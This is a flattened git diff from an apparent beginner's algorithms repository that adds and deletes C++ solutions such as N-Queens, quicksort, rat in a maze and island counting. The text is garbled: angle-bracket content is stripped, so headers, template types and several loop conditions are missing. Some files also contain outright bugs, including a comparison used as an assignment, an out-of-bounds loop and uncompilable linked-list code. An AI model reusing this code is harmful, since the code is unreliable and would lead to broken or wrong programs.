high = divx-1; - else - low = divx + 1; - } - return 0; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Merge Two Sorted Lists.cpp b/Add Code Here/C++/Merge Two Sorted Lists.cpp deleted file mode 100644 index 90193ef431d..00000000000 --- a/Add Code Here/C++/Merge Two Sorted Lists.cpp +++ /dev/null @@ -1,17 +0,0 @@ - ListNode* mergeTwoLists(ListNode* l1, ListNode* l2) { - if(!l1) return l2; - if(!l2) return l1; - if(l1->val > l2->val) swap(l1,l2); - ListNode* res=l1, *prev=NULL; - - while(l1 && l2){ - - while(l1 && l1->val<=l2->val){ - prev=l1; - l1=l1->next; - } - prev->next=l2; - swap(l1,l2); - } - return res; - } diff --git a/Add Code Here/C++/Merge-Without-Extra-Space-pralinkhaira.cpp b/Add Code Here/C++/Merge-Without-Extra-Space-pralinkhaira.cpp new file mode 100644 index 00000000000..8fc33802173 --- /dev/null +++ b/Add Code Here/C++/Merge-Without-Extra-Space-pralinkhaira.cpp @@ -0,0 +1,31 @@ +/* Given two sorted arrays arr1[] and arr2[] of sizes n and m in non-decreasing order. +Merge them in sorted order without using any extra space. Modify arr1 so that it contains the first N elements, +And modify arr2 so that it contains the last M elements. */ + + +class Solution{ +public: + // Function to merge the arrays. + void merge(long long arr1[], long long arr2[], int n, int m) + { + int i = n - 1; // Index of last element in arr1 + int j = 0; // Index of first element in arr2 + + while (i >= 0 && j < m) { + if (arr1[i] > arr2[j]) { + // Swap arr1[i] and arr2[j] + swap(arr1[i], arr2[j]); + i--; + j++; + } else { + break; + } + } + + // Sort arr1 in non-decreasing order + sort(arr1, arr1 + n); + + // Sort arr2 in non-decreasing order + sort(arr2, arr2 + m); + } +}; \ No newline at end of file diff --git a/Add Code Here/C++/Minimum Time to Make Rope Colorful.cpp b/Add Code Here/C++/Minimum Time to Make Rope Colorful.cpp deleted file mode 100644 index 699861662d7..00000000000 --- a/Add Code Here/C++/Minimum Time to Make Rope Colorful.cpp +++ /dev/null @@ -1,27 +0,0 @@ -class Solution { -public: - int minCost(string colors, vector& neededTime) { - char ch='*'; - int totalcost=0; - int currcost=0; - for(int i=0;i=currcost){ - totalcost+=currcost; - ch=colors[i]; - currcost=neededTime[i]; - }else{ - totalcost+=neededTime[i]; - ch=colors[i]; - } - }else{ - // updating the values if both the character are not same - ch=colors[i]; - currcost=neededTime[i]; - } - } - return totalcost; - } -}; diff --git a/Add Code Here/C++/MissingNumber.cpp b/Add Code Here/C++/MissingNumber.cpp deleted file mode 100644 index bc18768f4a0..00000000000 --- a/Add Code Here/C++/MissingNumber.cpp +++ /dev/null @@ -1,17 +0,0 @@ -#include -using namespace std; -int main() -{ - cout<<"Enter a number : "<>n; - cout<<"Enter the numbers successively "< v(n-1); - for(int i=0;i>v[i]; - - cout<<"The missing number is "<<(n*(n+1))/2-accumulate(v.begin(),v.end(),0); - - - -} diff --git a/Add Code Here/C++/ModularExpo.cpp b/Add Code Here/C++/ModularExpo.cpp deleted file mode 100644 index d7caf4c14af..00000000000 --- a/Add Code Here/C++/ModularExpo.cpp +++ /dev/null @@ -1,39 +0,0 @@ -#include -#define ll long long int -#define ld long long double -using namespace std; -// Power Calculation -ll modularExpo(int i,int n){ - if(n==0){ - return 1; - } - ll m = modularExpo(i,n>>1); - if(n%2){ - return m*m*i; - } - return m*m; -} - -int powerSum(int x,int i,int n){ - if(x==0){ - return 1; - } - - ll p = modularExpo(i,n); - if(p>x){ - return 0; - } - // Picking up element - int a = powerSum(x-p,i+1,n); - // Not picking - int b = powerSum(x,i+1,n); - return a+b; -} - -int main(){ - int x,n; - cin>>x>>n; - // int k = sqrt(x); - cout< -using namespace std; - -int moore_voting(int [], int); - -int main() -{ - int n, ar[50]; - cout << "Enter the size of the array: "; - cin >> n; - for(int i = 0; inext==NULL) - -Node*secLast=NULL; -Node*Last = head; - -while(last !=NULL){ -secLast=last; -last=last->next; -} - -secLast->next=NULL; - -last->next=Head; -head=last; - -} diff --git a/Add Code Here/C++/N-Queen.cpp b/Add Code Here/C++/N-Queen.cpp deleted file mode 100644 index 6e1e71224b0..00000000000 --- a/Add Code Here/C++/N-Queen.cpp +++ /dev/null @@ -1,111 +0,0 @@ -/* C++ program to solve N Queen Problem using -backtracking */ - -#include -#define N 4 -using namespace std; - -/* A utility function to print solution */ -void printSolution(int board[N][N]) -{ - for (int i = 0; i < N; i++) { - for (int j = 0; j < N; j++) - cout << " " << board[i][j] << " "; - printf("\n"); - } -} - -/* A utility function to check if a queen can -be placed on board[row][col]. Note that this -function is called when "col" queens are -already placed in columns from 0 to col -1. -So we need to check only left side for -attacking queens */ -bool isSafe(int board[N][N], int row, int col) -{ - int i, j; - - /* Check this row on left side */ - for (i = 0; i < col; i++) - if (board[row][i]) - return false; - - /* Check upper diagonal on left side */ - for (i = row, j = col; i >= 0 && j >= 0; i--, j--) - if (board[i][j]) - return false; - - /* Check lower diagonal on left side */ - for (i = row, j = col; j >= 0 && i < N; i++, j--) - if (board[i][j]) - return false; - - return true; -} - -/* A recursive utility function to solve N -Queen problem */ -bool solveNQUtil(int board[N][N], int col) -{ - /* base case: If all queens are placed - then return true */ - if (col >= N) - return true; - - /* Consider this column and try placing - this queen in all rows one by one */ - for (int i = 0; i < N; i++) { - /* Check if the queen can be placed on - board[i][col] */ - if (isSafe(board, i, col)) { - /* Place this queen in board[i][col] */ - board[i][col] = 1; - - /* recur to place rest of the queens */ - if (solveNQUtil(board, col + 1)) - return true; - - /* If placing queen in board[i][col] - doesn't lead to a solution, then - remove queen from board[i][col] */ - board[i][col] = 0; // BACKTRACK - } - } - - /* If the queen cannot be placed in any row in - this column col then return false */ - return false; -} - -/* This function solves the N Queen problem using -Backtracking. It mainly uses solveNQUtil() to -solve the problem. It returns false if queens -cannot be placed, otherwise, return true and -prints placement of queens in the form of 1s. -Please note that there may be more than one -solutions, this function prints one of the -feasible solutions.*/ -bool solveNQ() -{ - int board[N][N] = { { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 } }; - - if (solveNQUtil(board, 0) == false) { - cout << "Solution does not exist"; - return false; - } - - printSolution(board); - return true; -} - -// driver program to test above function -int main() -{ - solveNQ(); - return 0; -} - -// This code is contributed by Aditya Kumar (adityakumar129) diff --git a/Add Code Here/C++/N_Queen_problem b/Add Code Here/C++/N_Queen_problem new file mode 100644 index 00000000000..ef42ecd82b8 --- /dev/null +++ b/Add Code Here/C++/N_Queen_problem @@ -0,0 +1,112 @@ +// C++ program to solve N Queen Problem using backtracking + +#include +#define N 4 +using namespace std; + +// A utility function to print solution +void printSolution(int board[N][N]) +{ + for (int i = 0; i < N; i++) { + for (int j = 0; j < N; j++) + if(board[i][j]) + cout << "Q "; + else cout<<". "; + printf("\n"); + } +} + +// A utility function to check if a queen can +// be placed on board[row][col]. Note that this +// function is called when "col" queens are +// already placed in columns from 0 to col -1. +// So we need to check only left side for +// attacking queens +bool isSafe(int board[N][N], int row, int col) +{ + int i, j; + + // Check this row on left side + for (i = 0; i < col; i++) + if (board[row][i]) + return false; + + // Check upper diagonal on left side + for (i = row, j = col; i >= 0 && j >= 0; i--, j--) + if (board[i][j]) + return false; + + // Check lower diagonal on left side + for (i = row, j = col; j >= 0 && i < N; i++, j--) + if (board[i][j]) + return false; + + return true; +} + +// A recursive utility function to solve N +// Queen problem +bool solveNQUtil(int board[N][N], int col) +{ + // base case: If all queens are placed + // then return true + if (col >= N) + return true; + + // Consider this column and try placing + // this queen in all rows one by one + for (int i = 0; i < N; i++) { + + // Check if the queen can be placed on + // board[i][col] + if (isSafe(board, i, col)) { + + // Place this queen in board[i][col] + board[i][col] = 1; + + // recur to place rest of the queens + if (solveNQUtil(board, col + 1)) + return true; + + // If placing queen in board[i][col] + // doesn't lead to a solution, then + // remove queen from board[i][col] + board[i][col] = 0; // BACKTRACK + } + } + + // If the queen cannot be placed in any row in + // this column col then return false + return false; +} + +// This function solves the N Queen problem using +// Backtracking. It mainly uses solveNQUtil() to +// solve the problem. It returns false if queens +// cannot be placed, otherwise, return true and +// prints placement of queens in the form of 1s. +// Please note that there may be more than one +// solutions, this function prints one of the +// feasible solutions. +bool solveNQ() +{ + int board[N][N] = { { 0, 0, 0, 0 }, + { 0, 0, 0, 0 }, + { 0, 0, 0, 0 }, + { 0, 0, 0, 0 } }; + + if (solveNQUtil(board, 0) == false) { + cout << "Solution does not exist"; + return false; + } + + printSolution(board); + return true; +} + +// Driver program to test above function +int main() +{ + solveNQ(); + return 0; +} diff --git a/Add Code Here/C++/N_stack_in_array.cpp b/Add Code Here/C++/N_stack_in_array.cpp new file mode 100644 index 00000000000..08ea9de481f --- /dev/null +++ b/Add Code Here/C++/N_stack_in_array.cpp @@ -0,0 +1,73 @@ +/* + Time complexity: O(1) for all operations. + Space Complexity: O(S + N) + + Where S is the size of the array, + N is the number of stacks. +*/ + +class NStack +{ + // Array to implement the stacks. + vector arr; + + // Array to keep track of the indices of the top elements of every stack. + vector top; + + int n, s; + +public: + // Initialize your data structure. + NStack(int N, int S) + { + n = N; + s = S; + + // Create the arrays. + arr = vector(s); + top = vector(n); + + // Initialise the 'top' array. + int count = s / n; + for (int i = 0; i < n; i++) + { + top[i] = i * count - 1; + } + } + + // Pushes 'X' into the Mth stack. Returns true if it gets pushed into the stack, and false otherwise. + bool push(int x, int m) + { + if (top[m - 1] >= ((m * s) / n - 1)) + { + // Stack overflow. So, element cannot be inserted. + return false; + } + + // Update the index of the new top element. + top[m - 1]++; + + // Insert the element X into the stack. + arr[top[m - 1]] = x; + + return true; + } + + // Pops top element from Mth Stack. Returns -1 if the stack is empty, otherwise returns the popped element. + int pop(int m) + { + if (top[m - 1] < (m - 1) * (s / n)) + { + // Stack is empty. So, return -1. + return -1; + } + + // Pop the top element of Mth stack. + int element = arr[top[m - 1]]; + + // Update the index of the new top element. + top[m - 1]--; + + return element; + } +}; diff --git a/Add Code Here/C++/NumConversion.cpp b/Add Code Here/C++/NumConversion.cpp deleted file mode 100644 index 34a7bde9861..00000000000 --- a/Add Code Here/C++/NumConversion.cpp +++ /dev/null @@ -1,43 +0,0 @@ -#include -#include -#include -using namespace std; -int main() -{ int ch; - cout<<"1.)To convert Decimal to Binary \n2.)To convert Binary to Decimal"; - cout<<"\nEnter your choice: "; - cin>>ch; - switch(ch) - { - case 1: int n; - cout<<"Enter a number in decimal form: "; - cin>>n; - long dig; - while(n!=0) - { - dig=n%2; - n/=2; - cout<>x; - int rem,sum=0,i=0; - while(x!=0) - { - - rem=x%10; - x=x/10; - sum+=rem*pow(2,i); - i++; - } - cout<<"\nDecimal form of the given number is: "< +#include +#include +using namespace std; + +int binaryToDecimal(int n){ + int a; + int sum=0; + int b=1; + while (n>0){ + a=n%10; + sum+= a*b; + b*=2; + n/=10; + + } + return sum; +} + + +int decimalToBinary(int n){ + int sum; //using strings (more efficient) + string str=""; + while (n>0){ + int a= n%2; + string b = to_string(a); + str.append(b); + n/=2; + } + reverse(str.begin(),str.end()); + sum = stoi(str); + return sum; + +} + +int octalToDecimal(int n){ + int a; + int b=1; + int sum=0; + while (n>0){ + a=n%10; + sum+=a*b; + b*=8; + n/=10; + + } + return sum; +} + +int decimalToOctal(int n){ + int x=1; + int ans=0; + while (x<=n){ + x*=8; + } + x/=8; + while (x>0){ + int last=n/x; + n-=last*x; + x/=8; + ans=ans*10+last; + + } + return ans; +} + + +int main(){ + int m,n; + cout<<"Enter two binary numbers: "; + cin>>m>>n; // To perform operations using conversion functions made above + int sum; // Can also be tested + int ans; + sum=binaryToDecimal(n) + binaryToDecimal(m); + ans=decimalToBinary(sum); + cout< -using namespace std; - -int main() -{ - int rows; - - cout << "Enter number of rows: "; - cin >> rows; - - for(int i = 1; i <= rows; ++i) - { - for(int j = 1; j <= i; ++j) - { - cout << "* "; - } - cout << "\n"; - } - return 0; -} \ No newline at end of file diff --git a/Add Code Here/C++/Numberguessgame.cpp b/Add Code Here/C++/Numberguessgame.cpp deleted file mode 100644 index 66507a0652d..00000000000 --- a/Add Code Here/C++/Numberguessgame.cpp +++ /dev/null @@ -1,45 +0,0 @@ -// Github username: AbhishekKumar2002 -// Aim: Number Guessing Game -// Date: 4/10/2022 - -// start coding -#include - -using namespace std; - -int main() -{ - int num, guess, chance=0; - num =rand()%100+1; - cout<<"****Guess my number Game****\n"; - do - { - cout<<"Enter the number you guess between 1 and 100 : \n"; - cin>>guess; - chance++; - - if (guess>num) - { - cout<<"The number you guessed is higher than the number\n"; - cout<<"Try Again!\n"; - } - else if (guess>&grid) - { - if(x<0 || x>=rows || y<0 || y>=cols || grid[x][y]!='1') - return false; - return true; - } - int numIslands(vector>& grid) { - int rows=grid.size(); - int cols=grid[0].size(); - int ans=0; - for(int i=0;i>q; - q.push({i,j}); - grid[i][j]=='2'; - while(!q.empty()) - { - int x=q.front().first; - int y=q.front().second; - q.pop(); - int dx[]={-1,0,1,0}; - int dy[]={0,1,0,-1}; - for(int k=0;k<4;k++) - { - int X=x+dx[k]; - int Y=y+dy[k]; - if(isvalid(X,Y,rows,cols,grid)) - { - q.push({X,Y}); - grid[X][Y]='2'; - } - } - } - ans++; - } - } - } - return ans; - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/OOPS/ptrarray.cpp b/Add Code Here/C++/OOPS/ptrarray.cpp new file mode 100644 index 00000000000..e84dbbf0ba1 --- /dev/null +++ b/Add Code Here/C++/OOPS/ptrarray.cpp @@ -0,0 +1,13 @@ + +#include +using namespace std; +int main(int argc, char const *argv[]) +{ + int arr[31]={0,34,53,32,84,63,54,45,31,56,46,78,34,54,25,79,75,45,76,76,87,88,86,66,76,74,75,77,89,90,86}; + int* ptr=arr; + cout<<*(ptr)< - -using namespace std; - -string ltrim(const string &); -string rtrim(const string &); -vector split(const string &); - -/* - * Complete the 'pairs' function below. - * - * The function is expected to return an INTEGER. - * The function accepts following parameters: - * 1. INTEGER k - * 2. INTEGER_ARRAY arr - */ - -int pairs(int k, vector arr) { - int cnt=0; - sort(arr.begin(),arr.end()); - unordered_set s; - - for(int i=0;i<=arr.size();i++){ - int j= arr[i]-k; - if(s.find(j)!=s.end()){ - cnt++; - } - s.insert(arr[i]); - } - - return cnt; - -} - -int main() -{ - ofstream fout(getenv("OUTPUT_PATH")); - - string first_multiple_input_temp; - getline(cin, first_multiple_input_temp); - - vector first_multiple_input = split(rtrim(first_multiple_input_temp)); - - int n = stoi(first_multiple_input[0]); - - int k = stoi(first_multiple_input[1]); - - string arr_temp_temp; - getline(cin, arr_temp_temp); - - vector arr_temp = split(rtrim(arr_temp_temp)); - - vector arr(n); - - for (int i = 0; i < n; i++) { - int arr_item = stoi(arr_temp[i]); - - arr[i] = arr_item; - } - - int result = pairs(k, arr); - - fout << result << "\n"; - - fout.close(); - - return 0; -} - -string ltrim(const string &str) { - string s(str); - - s.erase( - s.begin(), - find_if(s.begin(), s.end(), not1(ptr_fun(isspace))) - ); - - return s; -} - -string rtrim(const string &str) { - string s(str); - - s.erase( - find_if(s.rbegin(), s.rend(), not1(ptr_fun(isspace))).base(), - s.end() - ); - - return s; -} - -vector split(const string &str) { - vector tokens; - - string::size_type start = 0; - string::size_type end = 0; - - while ((end = str.find(" ", start)) != string::npos) { - tokens.push_back(str.substr(start, end - start)); - - start = end + 1; - } - - tokens.push_back(str.substr(start)); - - return tokens; -} diff --git a/Add Code Here/C++/PalindromePartition.cpp b/Add Code Here/C++/PalindromePartition.cpp deleted file mode 100644 index e2cf23b1d15..00000000000 --- a/Add Code Here/C++/PalindromePartition.cpp +++ /dev/null @@ -1,53 +0,0 @@ -#include -using namespace std; - -// https://leetcode.com/problems/palindrome-partitioning/ - -bool isPalindrome(string s,int start,int end){ - - while(start> & ans,vector path){ - - if(index==s.size()){ - ans.push_back(path); - return ; - } - - for(int i=index;i> partition(string s) { - - vector> ans; - vector path; - solve(0,s,ans,path); - return ans; -} - -int main() -{ - vector v; - -} \ No newline at end of file diff --git a/Add Code Here/C++/PascalTriangle.cpp b/Add Code Here/C++/PascalTriangle.cpp deleted file mode 100644 index 50638eba093..00000000000 --- a/Add Code Here/C++/PascalTriangle.cpp +++ /dev/null @@ -1,30 +0,0 @@ -#include -using namespace std; -int factorial(int n) -{ - if(n<0) - return 0; - else if (n==0) - return 1; - else - return n*factorial(n-1); -} - -int main() -{ - int n; - int e; - cout<<"enter number of rows = "; - cin>>n; - for(int r=1;r<=n;r++) - { - for(int k=1;k<=(n-r);k++) - cout<<" "; - for(int c=1;c<=r;c++) - { - e = factorial(r-1) / (factorial(c-1)*factorial(r-c)); - cout<val; - - - - - if(root->left==nullptr && root->right==nullptr){ - if(sum==INT_MIN) - return 0; - if(sum==t) - return 1; - else - return 0; - } - - - - - - - - - - return max(solve(root->left,t,sum),solve(root->right,t,sum) ); - - - - - } - - - - - - - -public: - bool hasPathSum(TreeNode* root, int targetSum) { - - return solve(root,targetSum,INT_MIN); - - - } -}; diff --git a/Add Code Here/C++/Path_Sum.cpp b/Add Code Here/C++/Path_Sum.cpp deleted file mode 100644 index 1e58da8957d..00000000000 --- a/Add Code Here/C++/Path_Sum.cpp +++ /dev/null @@ -1,27 +0,0 @@ -/** - * Definition for a binary tree node. - * struct TreeNode { - * int val; - * TreeNode *left; - * TreeNode *right; - * TreeNode() : val(0), left(nullptr), right(nullptr) {} - * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - * }; - */ -class Solution { -public: - bool pathSum(int sum,TreeNode* root,int t){ - if(root==NULL) return false; - if(root->left==NULL and root->right==NULL){ - if(sum+root->val==t) - return true; - } - return pathSum(sum+root->val,root->left,t) or pathSum(sum+root->val,root->right,t); - - //return false; - } - bool hasPathSum(TreeNode* root, int targetSum) { - return pathSum(0,root,targetSum); - } -}; \ No newline at end of file diff --git a/Add Code Here/C++/Path_Sum_Leetcode.cpp b/Add Code Here/C++/Path_Sum_Leetcode.cpp deleted file mode 100644 index 4a4fbbf0e70..00000000000 --- a/Add Code Here/C++/Path_Sum_Leetcode.cpp +++ /dev/null @@ -1,22 +0,0 @@ -/** - * Definition for a binary tree node. - * struct TreeNode { - * int val; - * TreeNode *left; - * TreeNode *right; - * TreeNode() : val(0), left(nullptr), right(nullptr) {} - * TreeNode(int x) : val(x), left(nullptr), right(nullptr) {} - * TreeNode(int x, TreeNode *left, TreeNode *right) : val(x), left(left), right(right) {} - * }; - */ -class Solution { -public: - bool hasPathSum(TreeNode* root, int x) { - if(root == NULL) { - return false; - } - if(x == root->val and !root->right and !root->left) - return true; - return hasPathSum(root->left,x-root->val) || hasPathSum(root->right,x-root->val); - } -}; diff --git a/Add Code Here/C++/Permutations in C++.cpp b/Add Code Here/C++/Permutations in C++.cpp deleted file mode 100644 index 3cbc7e2760f..00000000000 --- a/Add Code Here/C++/Permutations in C++.cpp +++ /dev/null @@ -1,18 +0,0 @@ -#include -using namespace std; - -int main() { - int count(0); - string s = "yd0369"; - cout << "s : " << s << endl; - - // Need to sort first else it will return the permutations from that state itselfY - sort(s.begin(), s.end()); - cout << "s : " << s << endl; - - do { - cout << s << ", "; - count++; - } while(next_permutation(s.begin(), s.end())); - cout << "\nTotal Permutations : " << count << endl; -} diff --git a/Add Code Here/C++/Pivot_number.cpp b/Add Code Here/C++/Pivot_number.cpp deleted file mode 100644 index 7edc1b41c08..00000000000 --- a/Add Code Here/C++/Pivot_number.cpp +++ /dev/null @@ -1,27 +0,0 @@ -#include -using namespace std; - -int getPivot(int arr[], int n) { - - int s = 0; - int e = n-1; - int mid = s + (e-s)/2; - - while(s= arr[0]) - { - s = mid+1; - } - else{ - e = mid; - } - mid = s + (e-s)/2; - } - return s; -} - -int main() { - int arr[5] = {1, 3, 8, 10, 17}; - cout << "Pivot is " << getPivot(arr, 5) << endl; -} diff --git a/Add Code Here/C++/Prim's Algorithm.cpp b/Add Code Here/C++/Prim's Algorithm.cpp deleted file mode 100644 index a3dcc0ea026..00000000000 --- a/Add Code Here/C++/Prim's Algorithm.cpp +++ /dev/null @@ -1,41 +0,0 @@ -#include -using namespace std; -int main(){ - int m,n; - cin>>m>>n; - vector> adj[m]; - for(int i =0;i>x>>y>>w; - adj[x].push_back({y,w}); - adj[y].push_back({x,w}); - } - - vector key(m,INT_MAX),parent(m,-1),mst(m,false); - key[0]=0; - parent[0]=-1; - - for(int i =0;i "< R(n,INT_MIN),L(n,INT_MIN); - - int c=INT_MIN; - for(int i=0;i=0;i--){ - - - if(s[i]=='L') - c=0; - if(s[i]=='R') - c= INT_MIN; - L[i]=c; - if(c!=INT_MIN) - c--; - - - } - - string ans=""; - - -// for(int x: R) -// cout<L[i]) - ans+='R'; - else ans+= 'L'; - } - - - - - return ans; - - - - - - - - } -}; diff --git a/Add Code Here/C++/Quick sort using C++ b/Add Code Here/C++/Quick sort using C++ deleted file mode 100644 index 6ee55713ccc..00000000000 --- a/Add Code Here/C++/Quick sort using C++ +++ /dev/null @@ -1,52 +0,0 @@ -#include -#include -using namespace std; - -int partition(int arr[], int low, int high) -{ - int i = low; - int j = high; - int pivot = arr[low]; - while (i < j) - { - while (pivot >= arr[i]) - i++; - while (pivot < arr[j]) - j--; - if (i < j) - swap(arr[i], arr[j]); - } - swap(arr[low], arr[j]); - return j; -} - -void quickSort(int arr[], int low, int high) -{ - if (low < high) - { - int pivot = partition(arr, low, high); - quickSort(arr, low, pivot - 1); - quickSort(arr, pivot + 1, high); - } -} - -void printArray(int arr[], int size) -{ - for (int i = 0; i < size; i++) - { - cout << arr[i] << " "; - } - cout << endl; -} - -int main() -{ - int arr[] = {4, 2, 8, 3, 1, 5, 7, 11, 6}; - int size = sizeof(arr) / sizeof(int); - cout << "Before Sorting" << endl; - printArray(arr, size); - quickSort(arr, 0, size - 1); - cout << "After Sorting" << endl; - printArray(arr, size); - return 0; -} diff --git a/Add Code Here/C++/QuickSort.cpp b/Add Code Here/C++/QuickSort.cpp deleted file mode 100644 index b9f6212dd41..00000000000 --- a/Add Code Here/C++/QuickSort.cpp +++ /dev/null @@ -1,72 +0,0 @@ -#include -using namespace std; - -int partition(int arr[], int s, int e){ - - int pivot = arr[s]; - - int cnt = 0; - for (int i = s+1; i <= e; i++) - { - if(arr[i] <= pivot){ - cnt++; - } - } - - //place pivot in right place - int pivotIndex = s+cnt; - swap(arr[s] , arr[pivotIndex]); - - //now arrange left and right part properly - int i = s; - int j = e; - - while ( i < pivotIndex && j > pivotIndex) - { - while (arr[i] <= pivot) - { - i++; - } - - while (arr[j] > pivot) - { - j--; - } - - if(i < pivotIndex && j > pivotIndex){ - swap(arr[i++], arr[j--]); - } - - } - - return pivotIndex; - - -} - -void quickSort(int arr[], int s, int e){ - - //base case - if(s>=e){ - return; - } - - int p = partition(arr, s, e); - - quickSort(arr, s, p-1); - - quickSort(arr, p+1, e); -} - -int main(){ - int arr[10] = {2, 4, 3, 1, 3, 6, 7, 8, 4, 0}; - int n = 10; - - quickSort(arr, 0, n-1); - - for (int i = 0; i < n; i++) - { - cout << arr[i]<<" "; - } - -} \ No newline at end of file diff --git a/Add Code Here/C++/REMOVEBAD.cpp b/Add Code Here/C++/REMOVEBAD.cpp deleted file mode 100644 index 6b32c37a9a1..00000000000 --- a/Add Code Here/C++/REMOVEBAD.cpp +++ /dev/null @@ -1,33 +0,0 @@ -#include -using namespace std; -#define endl '\n' -#define ll long long - -void solve() -{ - ll n; cin >> n; - ll maxF = 0; - unordered_map um; - - for(int i = 0; i < n; i++){ - ll inp; cin >> inp; - um[inp]++; - } - for(auto i : um){ - if(i.second > maxF) - maxF = i.second; - } - cout << n - maxF << endl; -} - - -int main() { - - int test; - cin>>test; - while(test--) - { - solve(); - } - return 0; -} diff --git a/Add Code Here/C++/ROTTEN_ORANGES_.CPP b/Add Code Here/C++/ROTTEN_ORANGES_.CPP deleted file mode 100644 index 1a90d20f761..00000000000 --- a/Add Code Here/C++/ROTTEN_ORANGES_.CPP +++ /dev/null @@ -1,126 +0,0 @@ - -// contributed by: H9660 (www.github.com/H9660) -#include - -using namespace std; - - -// the orange that will take the maximum time to rot its nearby oranges will be the answer to the problem.m -int orangesRotting(vector> &grid) - -{ - - int n = grid.size(); - - int m = grid[0].size(); - - queue, int>> q; - - int vis[n][m]; - - int cntfresh = 0; - - for (int i = 0; i < n; i++) - - { - - for (int j = 0; j < m; j++) - - { - - if (grid[i][j] == 2) - - { - - q.push({{i, j}, 0}); - - vis[i][j] = 2; - - } - - else - - { - - vis[i][j] = 0; - - } - - if (grid[i][j] == 1) - - cntfresh++; - - } - - } - - int tm = 0; - - int drow[] = {-1, 0, 1, 0}; - - int dcol[] = {0, 1, 0, -1}; - - int cnt = 0; - - while (!q.empty()) - - { - - int r = q.front().first.first; - - int c = q.front().first.second; - - int t = q.front().second; // the previous greatest time - - tm = max(tm, t); - - q.pop(); - - for (int i = 0; i < 4; i++) - - { - - int nrow = r + drow[i]; - - int ncol = c + dcol[i]; - - if (nrow >= 0 && nrow < n && ncol >= 0 && ncol < m && vis[nrow][ncol] != 2 && grid[nrow][ncol] == 1) - - { - - q.push({{nrow, ncol}, t + 1}); - - vis[nrow][ncol] = 2; - - cnt++; - - } - - } - - } - - if (cnt != cntfresh) - - return -1; - - return tm; - -} - - - -int main() - -{ - - vector> grid = {{0, 1, 2}, {0, 1, 2}, {2, 1, 1}}; - - cout << orangesRotting(grid) << endl; - - return 0; - -} - -// there are in total 4*m*n traversals in the worst case so the time complexity is O(4*m*n) -// space complexity is O(M*N) \ No newline at end of file diff --git a/Add Code Here/C++/RatInAMaze.cpp b/Add Code Here/C++/RatInAMaze.cpp deleted file mode 100644 index 3ab285facda..00000000000 --- a/Add Code Here/C++/RatInAMaze.cpp +++ /dev/null @@ -1,92 +0,0 @@ -// C++ program to solve Rat in a Maze problem using -// backtracking -#include -using namespace std; -// Maze size -#define N 4 - -bool solveMazeUtil(int maze[N][N], int x, int y,int sol[N][N]); - -// A utility function to print solution matrix sol[N][N] -void printSolution(int sol[N][N]) -{ - for (int i = 0; i < N; i++) { - for (int j = 0; j < N; j++) - cout<<" "<= 0 && x < N && y >= 0 && y < N && maze[x][y] == 1) - return true; - return false; -} - -// This function solves the Maze problem using Backtracking. -// It mainly uses solveMazeUtil() to solve the problem. It -// returns false if no path is possible, otherwise return -// true and prints the path in the form of 1s. Please note -// that there may be more than one solutions, this function -// prints one of the feasible solutions. -bool solveMaze(int maze[N][N]) -{ - int sol[N][N] = { { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 }, - { 0, 0, 0, 0 } }; - if (solveMazeUtil(maze, 0, 0, sol) == false) { - cout<<"Solution doesn't exist"; - return false; - } - printSolution(sol); - return true; -} - -// A recursive utility function to solve Maze problem -bool solveMazeUtil(int maze[N][N], int x, int y, int sol[N][N]) -{ - // if (x, y is goal) return true - if (x == N - 1 && y == N - 1 && maze[x][y] == 1) { - sol[x][y] = 1; - return true; - } - // Check if maze[x][y] is valid - if (isSafe(maze, x, y) == true) { - // Check if the current block is already part of - // solution path. - if (sol[x][y] == 1) - return false; - // mark x, y as part of solution path - sol[x][y] = 1; - /* Move forward in x direction */ - if (solveMazeUtil(maze, x + 1, y, sol) == true) - return true; - // If moving in x direction doesn't give solution - // then Move down in y direction - if (solveMazeUtil(maze, x, y + 1, sol) == true) - return true; - // If none of the above movements work then - // BACKTRACK: unmark x, y as part of solution path - sol[x][y] = 0; - return false; - } - return false; -} - -// driver program to test above function -int main() -{ - int maze[N][N] = { { 1, 0, 0, 0 }, - { 1, 1, 0, 1 }, - { 0, 1, 0, 0 }, - { 1, 1, 1, 1 } }; - solveMaze(maze); - return 0; -} - -// This code is contributed by Aditya Kumar (adityakumar129) diff --git a/Add Code Here/C++/Rat_In_a_Maze.cpp b/Add Code Here/C++/Rat_In_a_Maze.cpp new file mode 100644 index 00000000000..6cfecb9a418 --- /dev/null +++ b/Add Code Here/C++/Rat_In_a_Maze.cpp @@ -0,0 +1,50 @@ +#include +using namespace std; + +int sol[100][100] = {0}; + +bool RatInaMaze(char maze[][4], int i, int j, int n, int m) { + if (i == n - 1 && j == m - 1) { + for (int k = 0; k < n; k++) { + for (int l = 0; l < m; l++) { + cout << sol[k][l] << " "; + } + cout << endl; + } + cout << endl; + return true; + } + + sol[i][j] = 1; + + // Move right + if (j + 1 < m && maze[i][j + 1] != 'X') { + bool isMazeSolvedFromRight = RatInaMaze(maze, i, j + 1, n, m); + if (isMazeSolvedFromRight == true) { + return true; + } + } + + // Move down + if (i + 1 < n && maze[i + 1][j] != 'X') { + bool isMazeSolvedFromDown = RatInaMaze(maze, i + 1, j, n, m); + if (isMazeSolvedFromDown == true) { + return true; + } + } + + sol[i][j] = 0; + return false; +} + +int main() { + char maze[][4] = { + {'0', '0', '0', '0'}, + {'0', '0', 'X', 'X'}, + {'0', '0', '0', '0'}, + {'X', 'X', '0', '0'} + }; + + RatInaMaze(maze, 0, 0, 4, 4); + return 0; +} diff --git a/Add Code Here/C++/Regular Expression Matching.cpp b/Add Code Here/C++/Regular Expression Matching.cpp deleted file mode 100644 index 04541b543a7..00000000000 --- a/Add Code Here/C++/Regular Expression Matching.cpp +++ /dev/null @@ -1,20 +0,0 @@ -//https://leetcode.com/problems/regular-expression-matching/ - -class Solution { -public: - bool isMatch(string s, string p) { - int m = s.size(), n = p.size(); - vector> dp(m + 1, vector(n + 1, false)); - dp[0][0] = true; - for (int i = 0; i <= m; i++) { - for (int j = 1; j <= n; j++) { - if (p[j - 1] == '*') { - dp[i][j] = dp[i][j - 2] || (i && dp[i - 1][j] && (s[i - 1] == p[j - 2] || p[j - 2] == '.')); - } else { - dp[i][j] = i && dp[i - 1][j - 1] && (s[i - 